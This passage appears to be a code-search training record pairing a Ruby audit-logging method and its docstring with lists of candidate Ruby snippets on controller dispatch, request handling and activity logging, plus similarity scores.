"def perform_action_with_scout_instruments(*args, &block)\n req = ScoutApm::RequestManager.lookup\n req.annotate_request(:uri => request.path) # for security by-default, we don't use request.fullpath which could reveal filtered params.\n if ScoutApm::Agent.instance.context.config.value('collect_remote_ip')\n req.context.add_user(:ip => request.remote_ip)\n end\n req.set_headers(request.headers)\n req.start_layer( ScoutApm::Layer.new(\"Controller\", \"#{controller_path}/#{action_name}\") )\n\n begin\n perform_action_without_scout_instruments(*args, &block)\n rescue\n req.error!\n raise\n ensure\n req.stop_layer\n end\n end",
"def process_mixins\n controller = @tracker.controllers[@current_class]\n\n controller[:includes].each do |i|\n mixin = @tracker.libs[i]\n\n next unless mixin\n\n #Process methods in alphabetical order for consistency\n methods = mixin[:public].keys.map { |n| n.to_s }.sort.map { |n| n.to_sym }\n\n methods.each do |name|\n #Need to process the method like it was in a controller in order\n #to get the renders set\n processor = Brakeman::ControllerProcessor.new(@app_tree, @tracker)\n method = mixin[:public][name][:src].deep_clone\n\n if node_type? method, :methdef\n method = processor.process_defn method\n else\n #Should be a methdef, but this will catch other cases\n method = processor.process method\n end\n\n #Then process it like any other method in the controller\n process method\n end\n end\n end",
"def _dispatch(action)\n _run_filters(:before, action)\n response = send(action)\n _run_filters(:after, action)\n response\n end",
"def handlers; end",
"def handlers; end",
"def handlers; end",
"def call(env)\n # p env.inspect\n # [200, {\"Content-Type\" => \"text/html\"}, \"DOH!!!\"]\n path = env[\"PATH_INFO\"]\n # match env.path_info against the route compile\n #p env.inspect\n route = Doozer::Routing::Routes::match(path)\n # p \"path: #{path}\"\n # p \"route: #{route.inspect}\"\n app = nil\n \n if not route.nil?\n if route.app.nil?\n extra_params = route.extra_params(path)\n controller_klass = handler(route.controller.to_sym)\n controller = controller_klass.new({:env=>env, :route=>route, :extra_params=>extra_params, :port=>@options[:Port]})\n \n # call after_initialize test for excludes\n #execution_time('controller.after_initialize',:start)\n controller.after_initialize if not controller_klass.after_initialize_exclude.include?(route.action.to_sym)\n #execution_time(nil, :end)\n \n begin\n\n # call before_filter test for excludes\n #execution_time('controller.before_filter',:start)\n controller.before_filter if not controller_klass.before_filter_exclude.include?(route.action.to_sym)\n #execution_time(nil,:end)\n \n # call the action method\n #execution_time('controller.method(route.action).call',:start)\n controller.method(route.action).call()\n #execution_time(nil,:end)\n \n # call after_filter test for excludes\n #execution_time('controller.after_filter',:start)\n controller.after_filter if not controller_klass.after_filter_exclude.include?(route.action.to_sym)\n #execution_time(nil, :end)\n \n # render controller...\n #execution_time('controller.render_result',:start)\n r = Rack::Response.new(controller.render_result, route.status, {\"Content-Type\" => route.content_type})\n #execution_time(nil,:end)\n r.set_cookie('flash',{:value=>nil, :path=>'/'})\n r.set_cookie('session',{:value=>controller.session_to_cookie(), :path=>'/'})\n r = controller.write_response_cookies(r)\n \n # finalize the request\n controller.finished!\n controller = nil\n app = r.to_a\n\n rescue Doozer::Redirect => redirect\n # set the status to the one defined in the route which type of redirect do we need to handle?\n status = (route.status==301) ? 301 : 302\n # check to make sure the status wasn't manually changed in the controller\n status = redirect.status if not redirect.status.nil?\n \n r = Rack::Response.new(\"redirect...\", status, {\"Content-Type\" => \"text/html\", \"Location\"=>redirect.url})\n # if we get a redirect we need to do something with the flash messages...\n r.set_cookie('flash',{:value=>controller.flash_to_cookie(), :path=>'/'}) # might need to set the domain from config app_name value\n r.set_cookie('session',{:value=>controller.session_to_cookie(), :path=>'/'})\n \n # finalize the request \n controller.finished!\n controller = nil\n app = r.to_a\n rescue => e\n # finalize the request\n controller.finished!\n controller = nil\n \n if Doozer::Configs.rack_env == :deployment\n logger.error(\"RuntimeError: #{e.to_s}\")\n for line in e.backtrace\n logger.error(\" #{line}\")\n end\n logger.error(\"Printing env variables:\")\n logger.error(env.inspect)\n app = [500, {\"Content-Type\" => \"text/html\"}, @@errors[500]]\n else\n raise e\n end\n end\n else\n app = route.app.call(env)\n end\n else\n app = [404, {\"Content-Type\" => \"text/html\"}, @@errors[404]]\n end\n \n # pass the app through route.middleware_after if defined\n app = route.middleware_after.new(app, {:config=>Doozer::Configs, :route=>route}).call(env) if route.middleware_after\n \n return app\n end",
"def track_paloma_request\n self.paloma.resource ||= ::Paloma::Utilities.get_resource controller_path\n self.paloma.action ||= self.action_name\n end",
"def entry\n @controller.send(:entry)\n end",
"def controller\n end",
"def controller\n end",
"def log_dispatch(robot, route)\n robot.logger.debug I18n.t(\n \"lita.handler.dispatch\",\n handler: name,\n method: route.callback.method_name || \"(block)\"\n )\n end",
"def log_dispatch(robot, route)\n robot.logger.debug I18n.t(\n \"lita.handler.dispatch\",\n handler: name,\n method: route.callback.method_name || \"(block)\"\n )\n end",
"def process_action(...)\n send_action(...)\n end",
"def actions\n []\n end",
"def action\n end",
"def define_action_hook; end",
"def track_start(*actions)\n before_filter ActionTracker, only: actions\n end",
"def controller_method(*methods)\n methods.each do |method|\n delegate method, :to => :controller\n end\n end",
"def controller_method(*methods)\n methods.each do |method|\n delegate method, :to => :controller\n end\n end",
"def execute(&block)\n\t\t\t\t@controller.refined_http_methods\n\t\t\t\t\t.each do |action, (http_method, action_path)|\n\t\t\t\t\t\tsend(http_method, action_path, action)\n\t\t\t\t\tend\n\t\t\t\tinstance_exec(&block) if block\n\t\t\t\tdefaults\n\t\t\tend",
"def actions() ; info[:actions] ; end",
"def actions() ; info[:actions] ; end",
"def execute!\n @actions.each do |action|\n action.call\n end\n end",
"def actions\n @actions\n end",
"def run_loop\n # Run all plugins\n @controller_plugins.each do |controller_plugin|\n controller_plugin.run\n log_stats(controller_plugin)\n end\n trigger_success_handlers\n end",
"def index\n @my_actions = MyAction.all\n end",
"def execute(*args)\n\n # Verify if the controller answers to the @action_name value\n raise WebFlowError, \"The action step #{@action_name} is not defined in your controller.\" unless args[0].respond_to? lookup_method_to_call(@action_name)\n \n # The controller defines a method with the same name as @action_name.\n # Kewl! A 'someone else problem' !!!\n args[0].send( lookup_method_to_call( @action_name ) )\n \n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def request_add_to_result(controller, action, method, pass)\n if !@@result[controller] \n @@result.merge!({controller => {action => {method => {:requests => 1, :pass => (pass ? 1 : 0), :fail => (pass ? 0 : 1)}}}})\n elsif !@@result[controller][action]\n @@result[controller].merge!({action => {method => {:requests => 1, :pass => (pass ? 1 : 0), :fail => (pass ? 0 : 1)}}})\n elsif !@@result[controller][action][method]\n @@result[controller][action].merge!({method => {:requests => 1, :pass => (pass ? 1 : 0), :fail => (pass ? 0 : 1)}}) \n else\n @@result[controller][action][method][:requests] += 1\n @@result[controller][action][method][pass ? :pass : :fail] += 1\n end\n end",
"def hook_controllers!\n ActionController::Base.extend Storehouse::Controller\n end",
"def calls; end",
"def calls; end"
] |
[
"0.6284122",
"0.62591183",
"0.61800784",
"0.61800784",
"0.61800784",
"0.6156427",
"0.60583436",
"0.60583436",
"0.60583436",
"0.60486376",
"0.5987287",
"0.59843",
"0.59843",
"0.59843",
"0.59843",
"0.59843",
"0.59843",
"0.59843",
"0.59843",
"0.59843",
"0.59843",
"0.59035766",
"0.5902294",
"0.5886552",
"0.58853614",
"0.5864545",
"0.5857783",
"0.5856552",
"0.5854379",
"0.58284175",
"0.5825062",
"0.5814585",
"0.5805679",
"0.57946867",
"0.5772773",
"0.5765323",
"0.57652587",
"0.5760531",
"0.5742104",
"0.5724767",
"0.5708994",
"0.5708774",
"0.5708774",
"0.5706181",
"0.5669868",
"0.56561124",
"0.56494266",
"0.56484866",
"0.5629522",
"0.5588054",
"0.5584542",
"0.557874",
"0.554373",
"0.5542352",
"0.55378926",
"0.5536311",
"0.5531235",
"0.5531235",
"0.55211574",
"0.55184376",
"0.55167574",
"0.5516459",
"0.551193",
"0.5507952",
"0.55031496",
"0.55019164",
"0.55019164",
"0.55019164",
"0.54954255",
"0.54921556",
"0.54811865",
"0.5480627",
"0.5480627",
"0.54803795",
"0.54803795",
"0.5476667",
"0.54728884",
"0.5468496",
"0.54682106",
"0.5464899",
"0.5457049",
"0.5457049",
"0.54459935",
"0.5442716",
"0.5442716",
"0.54414535",
"0.54360974",
"0.5435049",
"0.542661",
"0.5407408",
"0.54045314",
"0.54045314",
"0.54045314",
"0.54045314",
"0.54045314",
"0.54028225",
"0.5399107",
"0.5381854",
"0.5381854"
] |
0.553982
|
55
|
Log action, along with record_id, section, and id from params, plus any optional params (which overwrite the default params if there are duplicates)
|
def audit_log(action, optional_params = {})
description = params.slice(:record_id, :section, :id).merge(optional_params).map { |key, value| "#{key}:#{value}"}.join('|')
requester = current_user.try(:email) || 'NONE'
AuditLog.create(event: action, description: description, requester_info: requester)
description
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def record(action, *arguments)\n log \"#{action_padding(action)}#{action} #{arguments.join(' ')}\"\n end",
"def log_action(action, user, record, model)\n begin\n # Create a new ActionLog Object\n event = ActionLog.new()\n \n # Add the user to this object\n event.user = user\n \n # Add the action to this object\n event.action = action\n \n # Save the model type and its record ID(s) to this object\n event.target = model.to_s + ':' + record.to_s\n \n # Save the time of the event\n event.time_of_action = (Time.now.getutc - 7*60*60).to_s.gsub('UTC','PST')\n \n # Save this event to database\n event.save!\n\n rescue => e\n \n end\n end",
"def record(action, *arguments)\n return if options[:quiet] && ACTION_CAN_BE_QUIET[action]\n msg = \"\"\n if time\n msg << Time.now.strftime(\"%I:%M:%S.%3N %p\")\n end\n msg << color(ACTION_COLORS[action])\n msg << \"#{action_padding(action)}#{action}\"\n msg << color(:clear)\n msg << \" #{arguments.join(' ')}\"\n log msg\n end",
"def log_action actions, opts={}\n make_log_action_call actions, opts\n end",
"def audit_log_all\n\n if params[:controller] && params[:action]\n desc = params[:controller] + \"|\" + params[:action]\n desc << \"|id:#{params[:id]}\" if params[:id]\n\n ## log user email for now\n ## TODO: change to larger requester info set\n if current_user\n if desc =~ /sessions\\|destroy/\n desc << \"|LOGOUT\"\n end\n\n AuditLog.create(requester_info: current_user.email, event: \"USER_ACTION\", description: desc)\n else\n AuditLog.create(requester_info: \"NONE\", event: \"USER_ACTION\", description: desc)\n end\n\n end\n\n end",
"def audit_log_all\n\n if params[:controller] && params[:action]\n desc = params[:controller] + \"|\" + params[:action]\n desc << \"|id:#{params[:id]}\" if params[:id]\n\n ## log user email for now\n ## TODO: change to larger requester info set\n if current_user\n if desc =~ /sessions\\|destroy/\n desc << \"|LOGOUT\"\n end\n\n AuditLog.create(requester_info: current_user.email, event: \"USER_ACTION\", description: desc)\n else\n AuditLog.create(requester_info: \"NONE\", event: \"USER_ACTION\", description: desc)\n end\n\n end\n\n end",
"def log_event(event, params)\n end",
"def log(user_id, action, id1, id2, id3=nil)\n \n ul = Log.new\n \n if (action =~ /NEW_LIST(\\w+)$/)\n ul.list_id = id1\n end\n \n \n \n if (action =~ /NEW_FEATURE_(\\w+)$/) or action == \"VOTE_UP\" or action == \"VOTE_DOWN\"\n ul.list_id = id1 \n ul.feature_id = id2\n end\n \n if(action =~ /NEW_COMMENT/)\n ul.list_id = id1\n ul.feature_id = id2\n ul.comment_id = id3\n \n end\n \n ul.datetime = Time.now\n ul.user_id = user_id\n ul.action = action\n ul.save\n end",
"def action_log_params\n params.require(:action_log).permit(:user_id, :target_user, :do_user, :infomation, :log_type, :description)\n end",
"def record(action, *arguments)\n msg = \"\"\n msg << color(ACTION_COLORS[action]) if Compass.configuration.color_output\n msg << \"#{action_padding(action)}#{action}\"\n msg << color(:clear) if Compass.configuration.color_output\n msg << \" #{arguments.join(' ')}\"\n log msg\n end",
"def log_event(params)\n puts \"Log Details:\"\n puts \"<====================>\"\n puts \"Event Type: #{params['event']}\"\n puts \"Recepient: #{params['recipient']}\"\n puts \"City: #{params['city']}\"\n puts \"Country: #{params['country']}\"\n puts \"Client Type: #{params['client-type']}\"\n puts \"Client Name: #{params['client-name']}\"\n puts \"Device Type: #{params['device-type']}\"\n puts \"Client OS: #{params['client-os']}\"\n puts \"Url Clicked: #{params['url']}\" if params['event'] == \"clicked\"\n puts \"Logged at: #{Time.at(params['timestamp'].to_i).utc.to_datetime}\"\n puts \"<====================>\"\n end",
"def log_params\n params.require(:log).permit(:uniqid, :contact_id, :log_type, :time, :duration, :device_id, :device_imei, :contact_number)\n end",
"def log_request(activity=nil)\n return if ! @logged.nil?\n @logged=true \n if current_user_model.blank? or current_user_model.id.blank? then\n the_id = -1\n else\n the_id = current_user_model.id\n end\n log_entry = Log.create( \n :investigator_id => the_id,\n :activity => activity || self.controller_name + \":\" + self.action_name,\n :controller_name => self.controller_name,\n :action_name => self.action_name,\n :created_ip => request.remote_ip,\n :params => params.inspect)\n log_entry.save\n end",
"def log(action, *args)\n say format('%15s %s', action, args.join(' '))\n end",
"def log(unique_identifier, data, &block)\n data = {:activity => unique_identifier}.merge( data )\n _log_wrapper(data, &block)\n end",
"def record!\n if OhMyLog::Log.configuration.print_log\n p \"REQUEST\"\n p @request.to_s\n p \"RESPONSE\" unless @effects.empty?\n @effects.each {|effect| p effect.to_s}\n end\n\n print_into_log\n\n #we can record everything that happend (OPTIONALL)\n if OhMyLog::Log.configuration.record_history\n OhMyLog::Log.history << self\n end\n #We always save the last operation recorded\n OhMyLog::Log.last_recorded = self\n #save this string on file or upload it somewhere\n end",
"def history_log_params\n end",
"def log_action(object, method, opts)\n object_id = object.data_object_id if object.class.name == \"DataObjectsHierarchyEntry\" || object.class.name == \"CuratedDataObjectsHierarchyEntry\" || object.class.name == \"UsersDataObject\"\n object_id = object.id if object_id.blank?\n\n if object.class.name == \"DataObjectsHierarchyEntry\" || object.class.name == \"CuratedDataObjectsHierarchyEntry\"\n he = object.hierarchy_entry\n elsif object.class.name == \"HierarchyEntry\"\n he = object\n end\n\n if method == :add_association || method == :remove_association\n changeable_object_type = ChangeableObjectType.send(\"CuratedDataObjectsHierarchyEntry\".underscore.to_sym)\n else\n changeable_object_type = ChangeableObjectType.send(object.class.name.underscore.to_sym)\n end\n\n auto_collect(@data_object) # SPG asks for all curation to add the item to their watchlist.\n CuratorActivityLog.create(\n :user => current_user,\n :changeable_object_type => changeable_object_type,\n :object_id => object_id,\n :activity => Activity.send(method),\n :data_object => @data_object,\n :hierarchy_entry => he,\n :created_at => 0.seconds.from_now\n )\n end",
"def log_params\n params.require(:log).permit(:user_id, :action, :content)\n end",
"def perform(params)\n\n init_params(params)\n\n set_encrypted_extra_data\n\n create_log\n\n end",
"def record_action_on_item(action, iid, params={})\n params.merge!(default_params)\n params['pio_action'] = action\n params['pio_uid'] = @uid\n params['pio_iid'] = iid\n params[\"pio_t\"] = ((params[\"pio_t\"].to_r) * 1000).round(0).to_s if params[\"pio_t\"]\n extract_latlng(params)\n @connection.post(:actions, :u2i, params).body\n end",
"def set_action_log\n @action_log = ActionLog.find(params[:id])\n end",
"def log_params\n params[:log]\n end",
"def log_params\n params.fetch(:log, {}).permit(\n :cat_id, :feed_id, :fed_at\n )\n end",
"def log_metric_params\n params.fetch(:log_metric, {})\n end",
"def create_log(param); end",
"def record(event, params = {})\n defaults = { :_n => event, :_p => @id }\n params = defaults.merge(params)\n request('e', params)\n end",
"def attach_log_to_request\n # First we attempt to load an existing log from the request params\n @log = SystemLog.find(params[:log_id]) if params[:log_id]\n\n # Otherwise, we start a brand new log chain here\n @log = SystemLog.create( log_type: params[:action],\n from: params['From'],\n to: params['To'],\n meta: params.to_json ) unless @log.present?\n\n # Attach this log to this request cycle\n RequestStore.store[:log] = @log\n # Stash params for this request as well— for debugging\n RequestStore.store[:params] = params.dup\n RequestStore.store[:params_original] = params.dup\n end",
"def log_params\n params.require(:log).permit(:duration, :activity_id, :activity_intensity_id, :user_id, :comment, :feeling)\n end",
"def log_and_do(*args, severity: INFO, definee: self, **opts, &block)\n\t\t\tmsg=\"log_and_do #{args} on #{self}\"\n\t\t\tmsg+=\" with options #{opts}\" unless opts.empty?\n\t\t\tmsg+=\" with block #{block}\" if block\n\t\t\tadd(severity,msg)\n\t\t\tif opts.empty?\n\t\t\t\tdefinee.send(*args, &block)\n\t\t\telse\n\t\t\t\tdefinee.send(*args, **opts, &block)\n\t\t\tend\n\t\tend",
"def log_and_do(*args, severity: INFO, definee: self, **opts, &block)\n\t\t\tmsg=\"log_and_do #{args} on #{self}\"\n\t\t\tmsg+=\" with options #{opts}\" unless opts.empty?\n\t\t\tmsg+=\" with block #{block}\" if block\n\t\t\tadd(severity,msg)\n\t\t\tif opts.empty?\n\t\t\t\tdefinee.send(*args, &block)\n\t\t\telse\n\t\t\t\tdefinee.send(*args, **opts, &block)\n\t\t\tend\n\t\tend",
"def log_params\n params.permit(:macaddress, :secret_key, :log_file, :page)\n end",
"def zt_log *args\n if args.length == 0\n File.open(ZT_LOG_FILE, 'a') { |file_log| file_log.puts \"#{zt_timestamp} #{params[:controller]}##{params[:action]} - no arguments\"}\n else\n file_log = File.open(ZT_LOG_FILE, 'a') # Opens file\n file_log.puts \"#{zt_timestamp} #{params[:controller]}##{params[:action]}:\" # Writes controller#action\n\n # Writes all arguments to ...\n args.each_with_index do |arg, index|\n file_log.puts \"arg[#{index}]: #{arg.inspect}\" # ... zt.log\n puts \"arg[#{index}]: #{arg.inspect}\" # ... console\n# logger.debug \"arg[#{index}]: #{arg.inspect}\" # ... console & development.log\n end\n file_log.close #Closes file\n end\n end",
"def log(arg1, arg2, *rest); end",
"def log(project, line_item_id, line_item_params, action)\n ProjectLog.create(project_id: project.id, line_item_id: line_item_id, params: line_item_params.to_json, action: action)\n end",
"def log_event(info = nil)\n if current_user\n action = \"#{controller_name}/#{action_name}\"\n log = ActivityLog.new(user: current_user, action: action, info: info)\n log.save\n end\n end",
"def method_missing(method, *args, &block)\n tokens = method.to_s.split('_')\n result = tokens.pop\n action = tokens.join('_')\n if args.first.is_a? Hash\n message = Log.data(args.first)\n else\n message = args.join(' ')\n end\n Log.log self.level, \"action=#{action} status=#{result} #{message}\"\n end",
"def log(type, msg, meta=nil)\n post type, msg, meta\n end",
"def log_activity\n\n BgJob.enqueue(\n UserActivityLogJob,\n {\n client_id: @client.id,\n user_id: @edit_kyc_request.user_id,\n admin_id: @edit_kyc_request.admin_id,\n action: GlobalConstant::UserActivityLog.open_case,\n action_timestamp: Time.now.to_i,\n extra_data: {\n case_id: @edit_kyc_request.case_id\n }\n }\n )\n\n end",
"def log_params\n params.require(:log).permit(:task_id, :value)\n end",
"def log_request_begin(logger, env)\n # Assuming remote addresses are IPv4, make them all align to the same width\n remote_addr = env['HTTP_X_FORWARDED_FOR'] || env[\"REMOTE_ADDR\"] || \"-\"\n remote_addr = remote_addr.ljust(15)\n\n # Log the fact that a query string was present, but do not log its contents\n # because it may have sensitive data.\n if (query = env[\"QUERY_STRING\"]) && !query.empty?\n query_info = '?...'\n else\n query_info = ''\n end\n\n # Session\n if env['global_session']\n cookie = env['global_session']\n info = [ env['global_session'].id,\n cookie.keys.map{|k| %{\"#{k}\"=>\"#{cookie[k]}\"} }.join(', ') ]\n sess = %Q{Session ID: %s Session Data: {%s}} % info\n else\n sess = \"\"\n end\n\n shard_info = 'Shard: ' + (env['HTTP_X_SHARD'] || 'default').to_s + ';'\n\n params = [\n env[\"REQUEST_METHOD\"],\n env[\"PATH_INFO\"],\n query_info,\n remote_addr,\n sess,\n shard_info,\n env[\"rack.request_uuid\"] || ''\n ]\n\n logger.info %Q{Processing %s \"%s%s\" (for %s) %s %s Request ID: %s} % params\n end",
"def log(msg, meta = {})\n puts \"#{msg} --- #{meta}\"\nend",
"def log_action msg\n\t\t\t\tputs '=> ' + msg\n\t\t\tend",
"def request_log(request); end",
"def log_params\n params.require(:log).permit(:class_name, :method_name, :hash_parms)\n end",
"def log_params\n params.require(:log).permit(:date_of_session, :time_of_sesion, :details, :reference_code, :client_code, :iname)\n end",
"def ai_log_params\n params.require(:ai_log).permit(:cow_no, :date, :state, :owner_id)\n end",
"def log_request\n logger.info \"HTTP request received => #{request.fullpath} , params => #{params} \"\n end",
"def log(*args); end",
"def record(data, sn, fw = nil)\n data << { HDR_DTP => DateTime.now.strftime(\"%Y%m%dT%H%M%S\")}\n if @fw_version\n data << { HDR_FW => @fw_version }\n else\n data << { HDR_FW => fw }\n end\n data << { HDR_SN => sn }\n @log << data\n end",
"def log(msg, params = { }, &block)\n CondLog.call(msg, params, &block)\n end",
"def log(action, msg=nil, level=Logger::INFO)\r\n app.log(action, msg, level) { yield }\r\n end",
"def log_entry_params\n params.require(:log_entry).permit(:name, :activity_id, :observations, :started_at, :finished_at)\n end",
"def task_log_params\n params.fetch(:task_log, {}).permit(:task_id, :start_datetime, :end_datetime, :exc_time, :exc_status)\n end",
"def record(\n action: nil,\n method: nil,\n timeout: nil,\n finish_on_key: nil,\n max_length: nil,\n play_beep: nil,\n trim: nil,\n recording_status_callback: nil,\n recording_status_callback_method: nil,\n transcribe: nil,\n transcribe_callback: nil,\n **keyword_args\n )\n append(Record.new(\n action: action,\n method: method,\n timeout: timeout,\n finish_on_key: finish_on_key,\n max_length: max_length,\n play_beep: play_beep,\n trim: trim,\n recording_status_callback: recording_status_callback,\n recording_status_callback_method: recording_status_callback_method,\n transcribe: transcribe,\n transcribe_callback: transcribe_callback,\n **keyword_args\n ))\n end",
"def audit_params\n params.require(:audit).permit(:user_id, :mod_action_id, :obj_id, :interactionDate)\n end",
"def ncco_record_action_params\n params.require(:ncco_record_action).permit(:format, :split, :start_on_answer, :end_on_key, :destination_url, :streamed, :limit, :validity_time, :event_url, :event_method, :backup_url, :backup_method, :beep_start, :beep_finish, :secure)\n end",
"def append_info_to_payload(payload)\n super\n request_logging_context_data.each do |key, value|\n payload[key] = BlackSquareLoggingRails.format_value(value)\n end\n\n # Add request parameters to lograge output when the logger is in DEBUG mode\n if BlackSquareLoggingRails.enable_request_parameter_logging\n parameters = request.filtered_parameters.except(*ActionController::LogSubscriber::INTERNAL_PARAMS)\n payload[:request_params] = BlackSquareLoggingRails.format_value(parameters) if parameters.any?\n end\n end",
"def log_request\n # REQUEST_LOG.info( {\n # time: Time.now.to_s,\n # ip: request.remote_ip,\n # path: request.path,\n # site: request.host,\n # user_agent: request.user_agent,\n # params: (request.request_parameters.blank? ? request.query_parameters : request.request_parameters),\n # device: sub_group_type,\n # referer_header: referer,\n # current_page_header: current_page,\n # landing_url_header: land_url,\n # visitor_id_header: request.env['HTTP_VISITOR_ID'],\n # session_id_header: request.env['HTTP_SESSION_ID'],\n # visitor_id: visitor_id,\n # session_id: session_id,\n # params: params\n # } )\n end",
"def shift_log_params\n params.require(:shift_log).permit(:change_date, :user_id, :shift_id, :action_taken, :note)\n end",
"def p(params)\n MyLogger.info params\nend",
"def calllog_params\n params.require(:calllog).permit(:user_id, :caller, :duration, :called_on)\n end",
"def log_action_summary(event)\n env = event.payload\n info do\n \"[#{req_id(env)}] #{req_origin(env)} -> #{res_result(env)} \" \\\n \"(#{event.duration.round(1)}ms)\"\n end\n end",
"def log (msg, **kwargs) Log.write(msg, :info, kwargs) end",
"def record_params\n params.require(:record).permit(:create, :user_id, :doctor_id, :time)\n end",
"def log=(_arg0); end",
"def log=(_arg0); end",
"def log=(_arg0); end",
"def log_changes(action)\n Rails.logger.tagged \"RoleAssignment #{id}\" do\n case action\n when :save\n if created_at_changed?\n logger.info \"Created assignment between #{entity.log_identifier} and #{role.log_identifier}.\"\n else\n # RoleAssignments should really only be created or destroyed, not updated.\n logger.error \"log_changes called for existing RoleAssignment. This shouldn't happen. Assignment is between #{entity.log_identifier} and #{role.log_identifier}.\"\n end\n when :destroy\n logger.info \"Removed assignment between #{entity.log_identifier} and #{role.log_identifier}.\"\n else\n logger.warn \"Unknown action in log_changes #{action}.\"\n end\n end\n end",
"def record_activity(note)\n @activity = ActivityLog.new\n @activity.user_id = current_user.id\n @activity.note = note\n @activity.browser = request.env['HTTP_USER_AGENT']\n @activity.ip_address = request.env['REMOTE_ADDR']\n @activity.controller = controller_name\n @activity.action = action_name\n @activity.params = params.inspect\n @activity.parent_user_id = current_user.parent_id\n @activity.save\n end",
"def output_debug(params)\n Rails.logger.debug(\"\\n\\n\\n\\n------------------------------------------------\\n\")\n Rails.logger.debug(params.inspect)\n Rails.logger.debug(\"\\n------------------------------------------------\\n\\n\\n\\n\")\n end",
"def log_activity(at, action = nil)\n unless activity_log\n update_attributes(:activity_log => ActivityLog.create(:user => self))\n end\n activity_log.add(at, action)\n end",
"def set_logging_statement(opts)\n opts = check_params(opts,[:statement])\n super(opts)\n end",
"def save_log(description, action, owner_user_id)\n Log.save_log(description, action, owner_user_id, me.id)\n end",
"def log_params\n params.require(:log).permit(:notes, :log_date, :time_minutes)\n end",
"def entry_log_params\n params.require(:entry_log).permit(:phone, :detail)\n end",
"def set_log_entry\n @log = Log.find(params[:id])\n end",
"def activity_log\n @identifier = Identifier.find(params[:id])\n created_at = SortableTable::SortColumnDefinition.new('created_at')\n sort_table = SortableTable::SortTable.new([created_at])\n @sort_column = sort_table.sort_column(params[:sort], params[:direction])\n resource_ids = @identifier.resources.collect(&:id)\n @curation_activities = CurationActivity.where(resource_id: resource_ids).order(@sort_column.order, id: :asc)\n @internal_data = InternalDatum.where(identifier_id: @identifier.id)\n end",
"def addLogs(logs,caseId = nil)\n if caseId != nil then\n @passedLogs= @objRollbar.addLog(logs,caseId)\n else\n @passedLogs = @objRollbar.addLog(logs)\n end\nend",
"def actlog_params\n params.require(:actlog).permit(:date, :category, :time)\n end",
"def log(old, new, op, opts)\n fields = log_course_fields(old, new, op, opts)\n course = \"#{fields[0]}:#{fields[2]}\"\n @logger.info(\"#{op.to_s.capitalize} #{course}\\n\")\n return unless verbose?\n @logger.debug(\"#{old.nil? ? '' : '< '}#{old}\\n\") if old\n @logger.debug(\"#{new.nil? ? '' : '> '}#{new}\\n\") if new\n end",
"def log(*_args)\n end",
"def log_kv(timestamp: Time.now, **fields)\n @logs << fields.merge(timestamp: timestamp)\n nil\n end",
"def log_params\n params.require(:log).permit(:id, :date, :water, :sleep , :workout, :food, :goal, :point, :totalPoints, :weightStatus, :weeklyGoalMet, :created_at , :updated_at, :user_id, :goal_id)\n end",
"def add_activity(*args)\n append_data(\"activity_log\",args.join(\" : \"))\n end",
"def set_log\n @log = Log.find(params[:id])\n @task = Task.find(params[:task_id]) if params[:task_id].present?\n end",
"def log_params\n params.require(:log).permit(\n :date, :game_id, :pcount, :game_id, :expansion_id, :comment,\n player_scores_attributes: [:id, :log_id, :player_id, :score, :_destroy], \n log_expansions_attributes: [:id, :expansion_id, :log_id, :_destroy])\n end",
"def test_logs_request_id\n get '/'\n loglines = logs.lines\n\n logdata = Logfmt.parse(loglines[0])\n request_id = logdata['request_id']\n assert_equal('start', logdata['at'])\n assert(request_id, 'must log request id')\n\n logdata = Logfmt.parse(loglines[1])\n assert_equal('mid-request', logdata['at'])\n assert_equal(request_id, logdata['request_id'])\n\n logdata = Logfmt.parse(loglines[2])\n assert_equal('finish', logdata['at'])\n assert_equal(request_id, logdata['request_id'])\n\n end",
"def log(status_info = {})\n status_info[:authority_name] = authority_name\n status_info[:validation_type] = scenario_validation_type\n status_info[:subauth] = subauthority_name\n status_info[:service] = service\n status_info[:action] = action\n status_info[:url] = url\n status_info[:request_data] = request_data\n status_log.add(status_info)\n end",
"def record_params\n params.require(:record).permit(:person_id, :event_id, :date)\n\n end",
"def log_params\n p = params.require(:log).permit(:type, :team_id, :time, :user_id, :client, :log_type, :deleted, :point, :data, :gen)\n if !p.has_key?(:type)\n # add the type if not present; this can be from an old app\n p.merge!({ type: 'TeamLog' })\n else\n p\n end\n end",
"def record(*args)\n raise 'Not enough arguments' if args.empty?\n raise 'Too many arguments' if args.size > 2\n\n queue << ['record', *args]\n end",
"def write_activity_log(action = :update)\n begin\n # explicitly switch on timestamping for event log\n previous_record_timestamps = ActivityLog.record_timestamps\n ActivityLog.record_timestamps = true\n \n # make sure that no logging is done within :delay_after_create time;\n # if no waiting required && if the filtering not required, write the log straight away\n if (self.respond_to?(:created_at) && !self.created_at.nil? && Time.now > self.delay_after_create.since(self.created_at)) || action == :create || self.created_at.nil?\n write_log = (self.check_log_allowed ? self.log_allowed(action.to_s) : true)\n if write_log\n set_culprit\n set_referenced\n log_entry = ActivityLog.new(:action => action.to_s, :referenced => @referenced, :activity_loggable => self, :culprit => @culprit)\n log_entry.save\n end\n end\n \n ActivityLog.record_timestamps = previous_record_timestamps\n rescue Exception => e\n # something went wrong - exception was thrown\n al = ActivityLog.new(:action => action.to_s, :activity_loggable => self)\n al.save\n \n logger.error \"\\nERROR: acts_as_activity_logged - write_activity_log()\"\n logger.error \"an incomplete log entry in ActivityLog table was still made - ID = #{al.id}\"\n logger.error \"action: #{action.to_s}; activity_loggable: #{self.to_s}\"\n logger.error \"exception caught:\\n\" + e.to_s + \"\\n\"\n end\n return true\n end",
"def test_logs_request_id\n get '/'\n loglines = logs.lines\n\n logdata = Logfmt.parse(loglines[0])\n request_id = logdata['request_id']\n assert_equal('start', logdata['at'])\n assert(request_id, 'must log request id')\n\n logdata = Logfmt.parse(loglines[1])\n assert_equal('mid-request', logdata['at'])\n assert_equal(request_id, logdata['request_id'])\n\n logdata = Logfmt.parse(loglines[2])\n assert_equal('finish', logdata['at'])\n assert_equal(request_id, logdata['request_id'])\n end",
"def log(*args)\nend",
"def log_http_call(payload); end",
"def log_http_call(payload); end",
"def audit_params\n params.require(:audit).permit(:detail_id, :account_id, :end_time, :description)\n end",
